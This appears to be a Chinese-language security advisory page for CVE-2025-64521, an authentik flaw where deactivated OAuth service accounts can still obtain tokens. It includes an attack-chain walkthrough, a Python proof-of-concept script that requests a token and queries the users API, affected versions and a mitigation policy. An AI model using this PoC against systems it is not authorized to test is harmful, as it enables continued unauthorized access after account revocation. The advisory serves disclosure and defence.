IPBUF安全漏洞报告
English
CVE-2025-64521 CVSS 4.8 中危

CVE-2025-64521: authentik OAuth服务账户身份验证绕过漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-64521
漏洞类型
身份验证绕过
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
authentik

相关标签

身份验证绕过OAuth服务账户authentikCVE-2025-64521权限控制访问控制绕过

漏洞概述

CVE-2025-64521是authentik开源身份提供者中的一个中等严重性安全漏洞。该漏洞允许攻击者利用已停用的服务账户进行OAuth身份验证,从而绕过账户停用策略。漏洞影响所有使用OAuth功能且依赖服务账户进行身份验证的场景。攻击者可以通过获取有效的client_id和client_secret,即使对应的服务账户已被管理员停用,仍能成功完成身份验证流程并获取访问令牌。这可能导致未授权访问受保护资源,破坏系统的访问控制机制。CVSS评分为4.8,属于中等威胁级别,需要攻击者具有高权限(创建服务账户)且需要用户交互,但攻击复杂度较低。

技术细节

该漏洞存在于authentik的OAuth 2.0认证流程中。当应用程序使用client_id和client_secret向配置好的OAuth提供商进行身份验证时,authentik会自动为该提供商创建一个服务账户。问题在于,在受影响版本中,系统仅检查client_id和client_secret的有效性,而未正确验证关联服务账户的激活状态。这导致即使管理员通过管理界面停用了该服务账户,攻击者仍可使用有效的凭证完成OAuth认证流程。具体来说,authentik在处理token请求时缺少对用户/服务账户状态的检查逻辑,允许已停用账户获取有效的access_token和refresh_token。攻击者可以利用此漏洞绕过组织的账户生命周期管理策略,持续访问已终止用户的服务账户关联资源。漏洞影响所有通过OAuth与外部提供商集成的应用场景。

攻击链分析

STEP 1
信息收集
攻击者获取目标authentik实例的OAuth客户端凭证(client_id和client_secret),可能通过源代码泄露、配置错误或内部人员泄露等途径
STEP 2
账户停用
管理员发现异常活动后停用相关服务账户,以为可以阻止攻击者访问受保护资源
STEP 3
认证绕过
攻击者使用停用账户的client_id和client_secret向OAuth token端点发起请求,由于authentik未正确检查账户状态,认证成功并返回有效access_token
STEP 4
资源访问
攻击者使用获取的access_token访问受保护的API资源或应用程序,绕过账户停用策略持续获取敏感信息
STEP 5
权限滥用
利用服务账户关联的OAuth提供商权限,访问外部系统资源或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64521 PoC - Authentik OAuth Service Account Authentication Bypass # This PoC demonstrates how a deactivated service account can still authenticate BASE_URL = "https://your-authentik-instance.com" CLIENT_ID = "your-client-id" # OAuth client ID CLIENT_SECRET = "your-client-secret" # OAuth client secret def check_account_status(): """Check if the service account is deactivated but can still authenticate""" # Step 1: Attempt OAuth token request with deactivated service account token_url = f"{BASE_URL}/application/o/token/" payload = { "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET } print("[*] Attempting OAuth authentication with potentially deactivated service account...") print(f"[*] Target: {token_url}") try: response = requests.post(token_url, data=payload, timeout=10) if response.status_code == 200: token_data = response.json() print("[!] VULNERABLE: Authentication successful despite account deactivation!") print(f"[!] Access Token: {token_data.get('access_token', '')[:50]}...") print(f"[!] Token Type: {token_data.get('token_type', '')}") print(f"[!] Expires In: {token_data.get('expires_in', '')} seconds") # Step 2: Use the token to access protected resources verify_url = f"{BASE_URL}/api/v3/users/" headers = {"Authorization": f"Bearer {token_data.get('access_token')}"} verify_response = requests.get(verify_url, headers=headers) if verify_response.status_code == 200: print("[!] Successfully accessed protected resources with deactivated account!") return True else: print(f"[*] Authentication failed with status code: {response.status_code}") print(f"[*] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-64521 - Authentik OAuth Service Account Bypass PoC") print("=" * 60) check_account_status()

影响范围

authentik < 2025.8.5
authentik < 2025.10.2

防御指南

临时缓解措施
如果无法立即升级到修复版本,建议在受影响的OAuth应用程序上添加策略,显式检查关联服务账户的有效状态。具体操作:在authentik管理界面中,为相关应用程序创建访问策略,策略应包含用户/服务账户有效性检查,如果账户已停用则拒绝访问请求。同时建议审查所有OAuth集成,撤销不再使用的client_id和client_secret。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表